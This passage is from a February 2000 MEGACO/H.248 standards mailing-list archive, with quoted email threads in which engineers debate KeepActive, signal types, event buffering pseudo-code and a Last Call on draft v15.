> >
> >
> > >
> > >
> > > I still have never been given any semblance of a reason why
> > > the variables in the MGCP exist, and what you do with them.
> > > I can, and have, provided same for the current mechanism.  So far
> > > we have not, save the confusion over the digitmap/keep active
> > > confusion, found a problem.
> >
> > If you can be more specific I will do my best to try and explain.
> >
> > >
> > >
> > > So far, I have found people who want the MGC to sort out events,
> > > and they want them as fast as the MG finds them.  I also found
> > > people who want a simple state machine, with the MG and MGC in
> > > lock step over what should happen.  We cater to both of those.
> > > You seem to want something in between, something where the MG
> > > has more knowledge about what the MGC wants, and when it wants it
> > > than I can figure out.  I can't understand how anything in between
> > > gimme all of them, and gimme the next one can work; please
> > > enlighten me.
> >
> > Scripting! It comes in many shapes and forms (although not as
> > many and not
> > as powerful as you might want right now). You have already defined one
> > yourself; digit maps. What accumulate, etc. gives you is essential the
> > foundation to build on here. It can even be used natively in
> > some cases,
> > e.g. for MF trunking if you so desire.
> >
> > >
> > >
> > > Brian
> > >
> > > > -----Original Message-----
> > > > From: Flemming Andreasen [mailto:fandreasen@worldnet.att.net]
> > > > Sent: Friday, February 04, 2000 2:11 PM
> > > > To: Rosen, Brian
> > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Re: Cisco SG16: Keep Active
> > > >
> > > >
> > > > Hi Brian
> > > >
> > > > Some comments below
> > > >
> > > > Regards
> > > >
> > > >             Flemming
> > > >
> > > > "Rosen, Brian" wrote:
> > > >
> > > > > We have just had a discussion on this issue, and I believe it
> > > > > addresses it: digitmaps on dtmf optimizes reporting
> > > > > of dtmf detection, but is otherwise the same as individual dtmf
> > > > > events being enabled.  By that definition, KeepActive works the
> > > > > way you wanted it; without it, signals stop with first detected
> > > > > digit.  With it, signals continue while digits are detected.
> > > > > So your IVR app would specify KeepActive on the
> > digitmap completion
> > > > > event, and use an embedded signal to turn it off if you
> > wanted to.
> > > > > The old mechanism doesn't work any differently; if you
> > had specified
> > > > > keepactive on the digits, whether or not they were accumulate by
> > > > > digitmap actions, you still would not be able to treat
> > the initial
> > > > > digit differently from the terminating digit.  The only way you
> > > > > could make this better would be to have the digitmap completion
> > > > > event entirely separate from the dtmf detection events, so you
> > > > > could have KeepActive separately on the digits from the
> > completion.
> > > > > I think embedded signals is a better answer, but I'm on
> > record as
> > > > > thinking that digitmaps should be a package and not a basic
> > > > > protocol.
> > > > >
> > > > > I'll deal with any problems we still have with the current text,
> > > > > but a "everything changed" complaint without a problem
> > is a no-op.
> > > >
> > > > I beg to differ. A change without a problem is
> > > > counterproductive and what
> > > > gets into these situations. We had something perfectly fine
> > > > after the Red
> > > > Bank meeting which for some reason was changed. Exactly
> > *what* was the
> > > > problem that prompted this massive change (I'll spare you
> > the ITU-T
> > > > procedural arguments here). If there were no compelling
> > > > reasons, then I
> > > > suggest that the text is simply brought back in line with the
> > > > agreement from
> > > > Red Bank, and then we can close this (big) one and move along.
> > > >
> > > > If you really want to, we can start a debate about the
> > > > relative merits,
> > > > trade-offs, and shortcomings of one scheme versus the other.
> > > > A couple of
> > > > topics off the top of my head
> > > > - Reduced number of messages and resultant reduced load
> > on network and
> > > > entities
> > > > - Effective event arrival rate not limited by MGC-MG
> > round-trip time
> > > > - Support for scripting
> > > >
> > > >
> > > >
> > > > >
> > > > >
> > > > > brian
> > > > >
> > > > > > -----Original Message-----
> > > > > > From: Chip Sharp [mailto:chsharp@cisco.com]
> > > > > > Sent: Friday, February 04, 2000 12:12 AM
> > > > > > To: MEGACO@standards.nortelnetworks.com
> > > > > > Subject: Re: Cisco SG16: Keep Active
> > > > > >
> > > > > >
> > > > > > At 03:22 PM 2/3/00 -0500, Tom-PT Taylor wrote:
> > > > > > >
> > > > > > >
> > > > > > >I think the primary need here is for clarifying text in
> > > > > > section 7.1.14
> > > > > > >indicating that events mapped into a digit map do
> > not generate
> > > > > > >notifications, but do terminate ongoing signals unless the
> > > > > > KeepActive flag
> > > > > > >is set.
> > > > > > Not really. The fundamental problem is the complete rework of
> > > > > > the agreed
> > > > > > upon event handling mechanism that for some reason was done
> > > > > > after the Red
> > > > > > Bank meeting.
> > > > > >
> > > > > > >
> > > > > > >-----Original Message-----  From:  Chip Sharp
> > > > > > >[SMTP:chsharp@CISCO.COM]  Sent:  Tuesday, January
> > 25, 2000 7:43
> > > > > > >PM  To:    MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject:
> > > > > >   Cisco SG16:
> > > > > > >Keep Active
> > > > > > >
> > > > > > >Section:        7.1.9, "Event Actions"
> > > > > > >table  Category:       Technical  Issue:          The draft
> > > > > > text specifies
> > > > > > >that "KeepActive:      As Notify, but  production of signals
> > > > > > continues (if
> > > > > > >any signals were active)".The above  definition is overly
> > > > > > restrictive in
> > > > > > >that it prevents events from being  accumulated (either with
> > > > > > or without
> > > > > > >digit map) and at the same time keeping  a signal active.
> > > > > > For example an
> > > > > > >IVR application accumulating a string of  user input and
> > > > playing an
> > > > > > >announcement until the entire string is  accumulated cannot
> > > > > > be supported
> > > > > > >with the above behaviour.  Proposal:       It is
> > > > recommended, that
> > > > > > >"KeepActive" does not generate a "Notify"  and that it
> > > > > > becomes possible to
> > > > > > >specify multiple actions such that  "KeepActive" can be
> > > > > > combined with,
> > > > > > >e.g. "Notify" or "AccumulateByDigitMap"  depending on
> > > > the particular
> > > > > > >application.
> > > > > > >
> > > > > > >v13 Status:     OPEN. Event actions table has been
> > removed and
> > > > > > >extensive  modification of entire event processing
> > taken place.
> > > > > > >
> > > > > > >Section:        7.1.9  Category:       Technical  Issue:
> > > >          The
> > > > > > >draft text specifies that "When KeepActive is specified
> > > > as the  event
> > > > > > >action, the media gateway shall send a Notify message to the
> > > > > >  controller
> > > > > > >upon detection of the event. Furthermore, the controller
> > > > shall  not
> > > > > > >interrupt any signals active on the Termination on which
> > > > the event
> > > > > > >is  detected" The above definition is overly restrictive
> > > > in that it
> > > > > > >prevents  events from being accumulated (either with or
> > > > > > without digit map)
> > > > > > >and at the  same time keeping a signal active. For
> > example an IVR
> > > > > > >application  accumulating a string of user input and
> > playing an
> > > > > > >announcement until the  entire string is accumulated cannot
> > > > > > be supported
> > > > > > >with the above behaviour.  Proposal:       It is
> > > > recommended, that
> > > > > > >"KeepActive" does not generate a "Notify"  and that it
> > > > > > becomes possible to
> > > > > > >specify multiple actions such that  "KeepActive" can be
> > > > > > combined with,
> > > > > > >e.g. "Notify" or "AccumulateByDigitMap"  depending on
> > > > the particular
> > > > > > >application.
> > > > > > >
> > > > > > >v13 Status:     OPEN. Extensive modifications of event
> > > > handling has
> > > > > > >taken  place. Events now always reported immediately on
> > > > detection.
> > > > > >
> > > > > > Support NetAid!  http://www.netaid.org
> > > > > > --------------------------------------------------
> > > > > > Chip Sharp                 Consulting Engineering
> > > > > > Cisco Systems              Telco Bio-region
> > > > > > Reality - Love it or Leave it.
> > > > > > --------------------------------------------------
> > > > > >
> > > >
> > > > --
> > > > ---------------------------------------
> > > > Flemming Andreasen
> > > > Cisco Systems
> > > > ---------------------------------------
> > > >
> > > >
> >
> > Regards
> >
> >         Flemming
> >
> > --
> > ---------------------------------------
> > Flemming Andreasen
> > Cisco Systems
> > ---------------------------------------
> >
> >

Regards

        Flemming
-
---------------------------------------
Flemming Andreasen
Cisco Systems
---------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Feb  8 10:51:15 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA28605
	for ; Tue, 8 Feb 2000 10:51:13 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.FA95ED00@standards.nortelnetworks.com>; Tue, 8 Feb 2000 10:48:05 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 32144 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 8 Feb 2000 10:46:24 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.BE26E310@standards.nortelnetworks.com>; Tue, 8 Feb 2000
          10:46:23 -0500
Received: from zmers013 by smtprch1.nortel.com; Tue, 8 Feb 2000 09:48:18 -0600
Received: from zrchb213.us.nortel.com by zmers013; Tue, 8 Feb 2000 10:48:02
          -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          <1QND38QS>; Tue, 8 Feb 2000 09:48:01 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF724B.E0576200"
Message-ID:  
Date:         Tue, 8 Feb 2000 09:47:58 -0600
Reply-To: Nancy-M Greene 
Sender: "Media Gateway Control (megaco)"
              
From: Nancy-M Greene 
Subject:      Re: Last Call
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF724B.E0576200
Content-Type: text/plain

v15 is available at:

ftp://standards.nortelnetworks.com/megaco/docs/latest

file names:

MegacoH248v15.doc
MegacoH248v15doc.zip
MegacoH248v15.PDF

It has change bars against v14. v14 is draft-ietf-megaco-protocol-05.txt .

Note that v14, v13, v12 are still available if you want to look at them.
They are in
ftp://standards.nortelnetworks.com/megaco/docs/Adelaide2000

Nancy
--------------------------------------------------------------------------
Nancy M. Greene
Internet & Service Provider Networks, Nortel Networks
T:514-271-7221 (internal:ESN853-1077) E:ngreene@nortelnetworks.com

> ----------
> From:         Taylor, Tom-PT [CAR:B904:EXCH]
> Sent:         Tuesday, February 08, 2000 8:11 AM
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      Last Call
>
> If Last Call is to have anything meaning at all, it must be conducted
> during
> the present SG 16 meeting.
>
> Nancy is about to put MegacoH248v15 on the site.  I invite Last Call
> comments based on this version of the document.  We can recycle as
> necessary
> to reflect decisions taken.
>
> Sorry for not drawing the line in early December, when (in hindsight) we
> might have done things more cleanly.
>
> Tom Taylor
> Advisor -- Emerging Carrier IP Standards
> E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)
> Phone and FAX: +1 613 736 0961
>

------_=_NextPart_001_01BF724B.E0576200
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable






RE: Last Call




v15 is available =
at:




ftp://standards.nortelnetworks.com/megaco/docs/latest<=
/A>




file names:




MegacoH248v15.doc

MegacoH248v15doc.zip

MegacoH248v15.PDF




It has change bars =
against v14. v14 is draft-ietf-megaco-protocol-05.txt .




Note that v14, v13, =
v12 are still available if you want to look at them. They are in

ftp://standards.nortelnetworks.com/megaco/docs/Adelaid=
e2000




Nancy

-----------------------------------------------------------------=
---------

Nancy M. Greene 

Internet & Service =
Provider Networks, Nortel Networks

T:514-271-7221 =
(internal:ESN853-1077) E:ngreene@nortelnetworks.com



    

    ----------

    From:   =
Taylor, Tom-PT =
[CAR:B904:EXCH]

    Sent:   =
Tuesday, February 08, 2000 8:11 =
AM

    To: =
    MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject: =
       Last Call

    


    If Last Call is to have anything =
meaning at all, it must be conducted during

    the present SG 16 meeting.

    


    Nancy is about to put MegacoH248v15 on =
the site.  I invite Last Call

    comments based on this version of the =
document.  We can recycle as necessary

    to reflect decisions taken.

    


    Sorry for not drawing the line in =
early December, when (in hindsight) we

    might have done things more =
cleanly.

    


    Tom Taylor

    Advisor -- Emerging Carrier IP =
Standards

    E-mail: taylor@nortelnetworks.com =
(internally, Tom-PT Taylor)

    Phone and FAX: +1 613 736 0961

    




------_=_NextPart_001_01BF724B.E0576200--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Feb  8 10:54:10 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA28760
	for ; Tue, 8 Feb 2000 10:54:07 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.42A1FCB0@standards.nortelnetworks.com>; Tue, 8 Feb 2000 10:50:06 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 32153 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 8 Feb 2000 10:48:42 -0500
Received: from mtiwmhc01.worldnet.att.net by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.10AF9460@standards.nortelnetworks.com>; Tue, 8 Feb 2000 10:48:42
          -0500
Received: from worldnet.att.net ([12.78.106.25]) by mtiwmhc01.worldnet.att.net
          (InterMail v03.02.07.07 118-134) with ESMTP id
          <20000208155100.UNMB11@worldnet.att.net>; Tue, 8 Feb 2000 15:51:00
          +0000
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
References: 
            <389DB4E5.26EEEBBD@nortelnetworks.com>
            <38A02861.2EB7D2CC@ericsson.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A03BDE.1DD72689@worldnet.att.net>
Date:         Tue, 8 Feb 2000 10:53:03 -0500
Reply-To: Flemming Andreasen 
Sender: "Media Gateway Control (megaco)"
              
From: Flemming Andreasen 
Subject:      Re: Cisco SG16: Signals Operation
X-To:         Christian Groves 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Can you explain how you plan on supporting say "visual message waiting
indicator" if OO signals are interrupted ?

-- Flemming

Christian Groves wrote:

> G'Day all,
>
> I'd like to confer with Michael. All signals should be able to be
> interrupted. I think the behaviour of the signal types should be
> uniform. The distinction between: BR, TO, OO should be how many times
> the signal is played. ie.
> - BR play once what ever length it is.
> - TO play and repeat for a certain amount of time. ie.  ringtone -> play
> ring pattern multiple times.
> - OO play and repeat until turned off.
>
> A previous email sent by Tom gives an outline on what I believe the
> replacement rules should be.
>
> Cheers, Christian
>
> Michael Brown wrote:
> >
> > Overall, we're still on the right track since we haven't taken the
> > approach of throwing everything away and starting over, but I do have
> > problems with some of the proposed changes. My feeling is that they
> > take us back to the situation we had before the IETF meeting in
> > Washington where I felt these issues were reasonably well resolved.
> >
> > The biggest general issue I have is that the definitions for signal
> > type cross the boundary into dictating implementation detail. Take the
> > case of  a BR signal. Happily, we have not come back around to trying
> > to define some time limit for a BR signal (although I think continuing
> > with the proposal will eventually lead us there again), so for now BR
> > is a subjective statement. Let's say I want to play a signal of a
> > relatively short tone (a couple of seconds) with a provisioned (in the
> > MG) length, but I want it to be interruptable. By these definitions,
> > this would have to be treated as a TO which means that the MGC would
> > have to specify duration (or we have the special rule of duration=0
> > means to play the signal til the MG stops it) which I don't think
> > should be required.
> >
> > There are other example of how these definitions require a specific
> > implementation of common signals, such as dial tone.
> >
> > Basically, I suppose I continue to feel that the default for all
> > signals should be interruptable and that  Keepactive be used to
> > override that behavior.
> >
> > Unfortunately, I don't have time to respond with my objections more
> > fully at this moment as I'm leaving shortly for the ITU meeting. When
> > I arrive in Geneva, I will follow up with my other concerns and
> > examples.
> >
> > Michael
> >
> >
> >
> > "Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904]" wrote:
> >
> > >
> > >
> > > OK, let's sum up, not that I'm confident that this will fly yet.
> > > I'd like to see the reaction of a couple of other vocal parties --
> > > say Michael Brown and Christian Groves.
> > >
> > > We have three signal types with distinct roles:
> > >   BR has a timer but is not interrupted by events.  It is
> > > interrupted by signal descriptor replacement.
> > >   TO is the most interruptible: timer, events, signal descriptors.
> > >   OO is the most persistent: interrupted by signal descriptors with
> > > explicit "Off" syntax only.
> > > I assume we allow over-riding of default signal type in any given
> > > instance of playout.
> > >
> > > The list is an interesting problem.  I think I have an answer to
> > > turning an OO list off, but now we also have to define behaviour in
> > > response to events.  We might consider the following rules:
> > >
> > >  -- the type of the list is set explicitly -- every signal on the
> > > list with the possible exception of the last one must be either BR
> > > or TO, in order to have an assigned duration
> > >
> > >  -- if the last event is OO, the list must be OO and vice versa
> > >  -- the type of the list, not the type of the signals making it up,
> > > determines the conditions under which playout of the list ceases
> > >
> > >  -- the list times out if it is not OO and all of the signals on it
> > > have played out, each in turn to its full duration.
> > >
> > >      -----Original Message-----
> > >      From:   Flemming Andreasen [SMTP:fandreasen@WORLDNET.ATT.NET]
> > >      Sent:   Friday, February 04, 2000 5:38 PM
> > >      To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
> > >      Subject:        Re: Cisco SG16: Signals Operation
> > >
> > >      Maybe, but according to Brian's first "no-op" rule, it must be
> > >      broken in order to get fixed :-)
> > >
> > >      Regarding dial-tone, I don't see the issue. What you have is
> > >      three different signal types and three different semantics.
> > >      Each has it's own time and place. In the case of dial-tone,
> > >      TimeOut happens to be the one, not Brief.
> > >
> > >      -- Flemming
> > >
> > >
> > >      "Rosen, Brian" wrote:
> > >            Let's see:    Events stop signals except:        When
> > >           KeepActive is set        If the signal is BR        If the
> > >           signal is OONet result - events stop signals only when TO
> > >           and not KeepActive.Maybe we should have a "StopSignal",
> > >           rather than a KeepActiveMaybe it happens so seldom that we
> > >           use an embedded signals to do it.Also note that by saying
> > >           BR doesn't stop for events, you twist the solution tofirst
> > >           digit stops dialtone to a new level.Brian
> > >                -----Original Message-----
> > >                From: Flemming Andreasen [
> > >                ]
> > >                Sent: Friday, February 04, 2000 4:55 PM
> > >                To: MEGACO@standards.nortelnetworks.com
> > >                Subject: Re: Cisco SG16: Signals Operation
> > >
> > >                Hi Tom
> > >
> > >                OO signals should not be interrupted by an event,
> > >                only the explicit "Off" syntax should have this
> > >                effect (otherwise we are back to TO signals with
> > >                indefinite duration, and semantically there's good
> > >                use for something that stays active until explicitly
> > >                told otherwise, e.g. consider message waiting
> > >                indicator)
> > >
> > >                Regards
> > >
> > >                        Flemming
> > >
> > >                Tom-PT Taylor wrote:
> > >
> > >
> > >                     Digging through the accumulated mass of indented
> > >                     text and comments, I think I see two parties
> > >                     agreeing on the following points.  Unfortunately
> > >                     experience tells me that as soon as we introduce
> > >                     a third party the agreements will vanish, but
> > >                     I'll record them here just in case a miracle
> > >                     happens.
> > >
> > >                     1) BR signals have the following
> > >                     characteristics: duration is assumed to be known
> > >                     to the MG without explicit MGC input.  Brian
> > >                     wants the ability to override duration, and I
> > >                     have no quarrel with that -- the only question
> > >                     is the exact mechanism.  The second
> > >                     characteristic is that a BR signal is not
> > >                     terminated by the detection of an event.  (But
> > >                     BR signals are still terminated by replacement
> > >                     of the Signals descriptor??  Any objections
> > >                     here?)
> > >
> > >                     2) TO signals seem to be fairly well understood.
> > >
> > >                     3) OO signals have the following
> > >                     characteristics: they remain on until
> > >                     interrupted by detection of an event, or receipt
> > >                     of a Signals descriptor with explicit Off
> > >                     syntax.  Brian's keyword syntax is probably
> > >                     acceptable.  Brian has a query about signal
> > >                     lists.  Is there something about this proposal
> > >                     that doesn't work given our current signal list
> > >                     text?
> > >
> > >                     4) Brian's proposals for completion events
> > >                     probably work for Chip and they work for me.  To
> > >                     summarize: the current notifyCompletion
> > >                     parameter remains but its significance changes:
> > >                     it is a selector (Boolean, default FALSE) and
> > >                     does not actually arm reporting.  There is a
> > >                     signal completion event which reports on the
> > >                     completion of any signal so flagged, with the
> > >                     identity of the signal as a reporting
> > >                     parameter.  QUESTION: should KeepActive default
> > >                     to TRUE for this event?  In any case, the signal
> > >                     completion event is invoked in the usual way,
> > >                     through an events descriptor.
> > >
> > >                     Open issue: signal failures.  The need for
> > >                     reports of such failures is real -- they do
> > >                     happen from time to time.  They happen
> > >                     autonomously, which means we either have to have
> > >                     an error method (ServiceChange ?) or an event to
> > >                     report them.  The key issue is whether you would
> > >                     need to know about ANY failure or only those of
> > >                     selected signals.
> > >

--
---------------------------------------
Flemming Andreasen
Cisco Systems
---------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Feb  8 10:56:46 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA28897
	for ; Tue, 8 Feb 2000 10:56:41 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.AEAA8AD0@standards.nortelnetworks.com>; Tue, 8 Feb 2000 10:53:07 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 32142 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 8 Feb 2000 10:52:38 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.371762F0@standards.nortelnetworks.com>; Tue, 8 Feb 2000 10:42:37
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id KAA06526; Tue, 8 Feb
          2000 10:44:59 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id KAA14696; Tue, 8 Feb
          2000 10:44:52 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCT4NXT>; Tue, 8 Feb 2000 10:41:30 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF2088D9@whq-msgusr-02.fore.com>
Date:         Tue, 8 Feb 2000 10:44:48 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Cisco SG16: Keep Active
X-To:         Flemming Andreasen 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Flemming

Rather than go through this, it seems we are in an impasse.

I believe that the two modes provided give you all the tools
required to either have events sent to the MGC as fast as they
occur, but with little filtering, or, to have the MGC and the MG
be in lock-step on processing events.  If there are some wording
problems that make you think this is not so, we will have to change
them, as that is the intent.

It would seem that there is only one fundamental difference in the
two mechanisms: you seem to want a way to have some events get buffered, and
then have something occur which causes the buffer
to be sent.  I think there is no such requirement.  Let me rephrase
that a little: the benefit of creating in-between mechanisms
is outweighed by the complexity of the mechanism required, and the
lack of agreement on what additional complexity is warranted.
I think you would agree that the "send events as you find them"
always works, it's just that the MGC may have to throw away some
events it may have been able to avoid seeing, which raises the
complexity of the MGC code required.  The issue is, how do you
find a middle ground that is truly useful?  I don't see it,
no one has supplied any justification for it.

I have asked for an example of a system which needed some events buffered,
but others notified immediately, along with the buffer.
What you have provided in response is a "good design principals"
argument.  Simplicity is a good design principal.

The rest is details; we can handle that if there is consensus
on the requirements.

Brian

> -----Original Message-----
> From: Flemming Andreasen [mailto:fandreasen@worldnet.att.net]
> Sent: Tuesday, February 08, 2000 10:27 AM
> To: Rosen, Brian
> Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Cisco SG16: Keep Active
>
>
> Brian
>
> Thanks for your detailed response - a detailed answer follows
> below. To
> summarize for those that do not feel like going through all
> the details here:
> 1. I still see significant drawbacks with the v14 scheme
> 2. I do not see those drawbacks with the TD-58 scheme
> 3. I have seen no advantages being offered with the v14
> scheme compared to the
> TD-58 scheme
>
> and consequently I must ask for the TD-58 scheme to be reinstated.
>
>
>
> "Rosen, Brian" wrote:
>
> > Thank you for taking the time to go through your issues.
> > I only wish you had done so two months ago!  Before dealing with
> > specifics, there is one aspect of the current mechanism you seem
> > to have misinterpreted.  When EventBuffering is ON, events detected
> > are compared against the EventBuffer Descriptor, not the
> Events Descriptor.
>
> You are right. While that addresses one specific comment
> below, it does not
> solve the fundamental problems though.
>
> >
> >
> > ...snip...
> > > The current event handling mechanism in Megaco/H248 v14 can
> > > be viewed as
> > > three processes that all interact. Events can be viewed as
> > > always being
> > > added to an event buffer (a FIFO queue) by an Event
> Detection process.
> >
> > > Another Event Processing process then removes these events
> > > from the FIFO
> > > queue. When a notification is sent, this process may block,
> > > waiting for a
> > > new Events Descriptor to be received. Events detected
> > > meanwhile will simply
> > > be added to the FIFO queue. Finally, whenever a new
> > > Events Descriptor is
> > > received the third process runs. This process determines the
> > > fate of events
> > > of events sitting in the FIFO queue, and installs a new
> > > Events Descriptor.
> > >
> > > The processes are illustrated in pseudo-code below
> > >
> > > Process 1: Event Detection
> > > ===================
> > > do {
> > > 
> > > if < event in current Events Descriptor> then   /* current
> > > Events Descriptor
> > > */
> > >   
> > >  else
> > >   
> > > } forever
> > The buffering process does not always buffer events.  In most
>
> Like I said, one way of viewing the procedure is the way I
> describe it. This is
> classic producer-consumer problem we are looking at here.
>
>
> >
> > cases, it immediately Notifies.  The decision process is:
> >         If EventBuffering is On,
> >                 If no events have been detected
> >                         ; the first event is immediately processed
> >                         If it is in Events Descriptor
> >                                 Notify immediately
> >                         Else
> >                                 discard
> >                 Else
> >                         If it is in EventBuffer Descriptor
> >                                 place in the buffer
> >                         Else
> >                                 discard
> >         Else
> >                 If the event is in Events Descriptor
> >                         Notify immediately
> >                 Else
> >                         discard
> >
> > To be really precise, it's possible that an event will occur
> > while another event is being processed when EventBuffering is Off,
> > and you could consider the second event in some kind of buffer.
>
> > I personally wouldn't - if it made it before I finished the Notify,
>
> > I'd add it to the Notify in process.  If it was after, I'd just hold
> > off processing it until I was done.
>
> That's not what the current text specifies, so if this is the
> behavior you want
> the text should be changed accordingly.
>
>
> >
> >
> >
> > >
> > > Process 2: Event Processing
> > > ===================
> > > do {
> > >  < wait for event in event buffer>
> > >  < remove first event from event buffer>
> > >  if  then {
> > >   Notify(event)
> > >   if  (Eventbuffer = "on") then  /* current Events Descriptor */
> > >    
> > >  }
> > > } forever
> > I'd say this process doesn't exist
>
> Depends on how you look at it. Like I said, this is one way
> of looking at it. It
> achieves precisely the same as your algorithm above
>
> >
> >
> > > Process 3: New Event Descriptor
> > > =======================
> > > if    /* new EventsDescritpr */
> > >  
> > > 
> > This is incorrect.  The first part is correct (clear eventBuffer if
> > EventBuffering is off).  The second part is:
> >   Else
> >         While EventBuffer has any events
> >                 If Event is in new Events Descriptor
> >                         Notify this event
> >                         Exit loop
> >                 Else
> >                         discard
> >         End Loop
>
> No. Take another look at process 2, which is my consumer
> process. The effect is
> precisly what you have specified, however all of these are
> really besides the
> point.
>
> >
> >
> > >
> > > Unfortunately, this mechanism suffers from some drawbacks,
> > > especially when
> > > compared to the mechanism that was specified in TD-58 after
> > > the Red Bank
> > > meeting:
> > >
> > > 1. Events to be detected in process 1 are always determined
> > > by the current
> > > Events Descriptor. This is an unfortunate restriction
> which may prevent
> > > detection of events that arrive more rapidly than the round-trip +
> > > processing time. For example, an application may initially
> > > wish to detect
> > > seizure, and subsequently detect a wink or unseizure. Unless
> > > all events are
> > > requested at the same time (which would effectively prevent
> > > glare detection)
> > > detection of all these events could not be guaranteed.
> > This is incorrect, there are two masks -- Events Descriptor and
> > BufferedEvents Descriptor.  The former determines what is notified,
> > the latter determines what is buffered.
>
> You're right. I believe it would be preferable to determine
> events to be
> detected based on the union of Events Descriptor and
> BufferedEvents Descriptor
> though.
>
> >
> >
> > Seizure would be Events Descriptor, Unseizure and wink would be
> > in BufferedEvents Descriptor.  Alternatively, you could use an
> > embedded Events Descriptor.
>
> For this specific case - maybe. It is not a general solution
> to the problem
> though (BufferedEvents Descriptor on the other hand is).
>
> >
> >
> > > What is needed, is an extra parameter to specify what events
> > > to detect (as
> > > opposed to process) during event buffering. Preferably, this
> > > set of events
> > > would be determined based on the union of this parameter and
> > > the current
> > > Events Descriptor.
> > As specified, we "detect" (I would say buffer) events in
> > BufferedEvents, and we "process" (I would say Notify) events in
> > Events Descriptor.  We could specify that detect is based on the
> > union of BufferedEvents and Events, but it's a little late for
> > optimizations (if it really is what we want, I would think not).
> >
> > >
> > > 2. Hardcoding Notify in process 2 limits throughput, as there
> > > shall normally
> > > only be one outstanding Notify per termination. A queue of
> > > Notify to be sent
> > > may consequently build up at the sender side thereby
> > > - Incurring event delivery delay when the event arrival rate
> > > exceeds the
> > > MG-MGC roundtrip time.
> > > - Limiting the average event arrival rate to the MG-MGC
> > > roundtrip time (best
> > > case).
> > This may be true if EventBuffering is On, but is not true if
> > EventBuffering is off.  In the latter case, events are Notified as
> > they are detected, and no response from the MGC is required.
>
> That is completely inconsistent with the current text.
> Section 9.1 specifies
> that:
>
>     "On a given Termination, there should normally be at most
> one outstanding
> Notify command at any time.  The RequestId parameter should
> be used to correlate
> Notify commands with the triggering notification request."
>
> What you are suggesting is that we just send the Notify's as
> fast as we can. The
> problem with this is that you cannot guarantee in-order
> (delivery of these
> messages) which means we no longer have event ordering in the system.
>
> >
> > In the former case, this is precisely what is required.
> The point of
> > buffering events is that once an event is detected, the MG doesn't
> > know what the MGC wants next; it has to wait to be told.  Meanwhile,
> > it buffers events the MGC told it it MIGHT want to see.
> When it gets
> > a new event descriptor, it can send ONE event, but then it
> is back in
> > the same state - what does the MGC want to do next?
>
> We are in absolute agreement here. One underlying "problem"
> however is that the
> MGC will only be able to request a single event. With the
> TD-58 solution you
> could have requested a whole sequence of events potentially.
>
> >
> >
> > Note that this condition should be very rare - events
> happen at human
> > speed in most cases, and computers are fast.  Even in large trunk
> > gateways, the MGC better be able to keep up with the event stream by
> > a whole lot more than a round trip time!
>
> That is a very dangerous assumption which even now doesn't
> hold. Think about
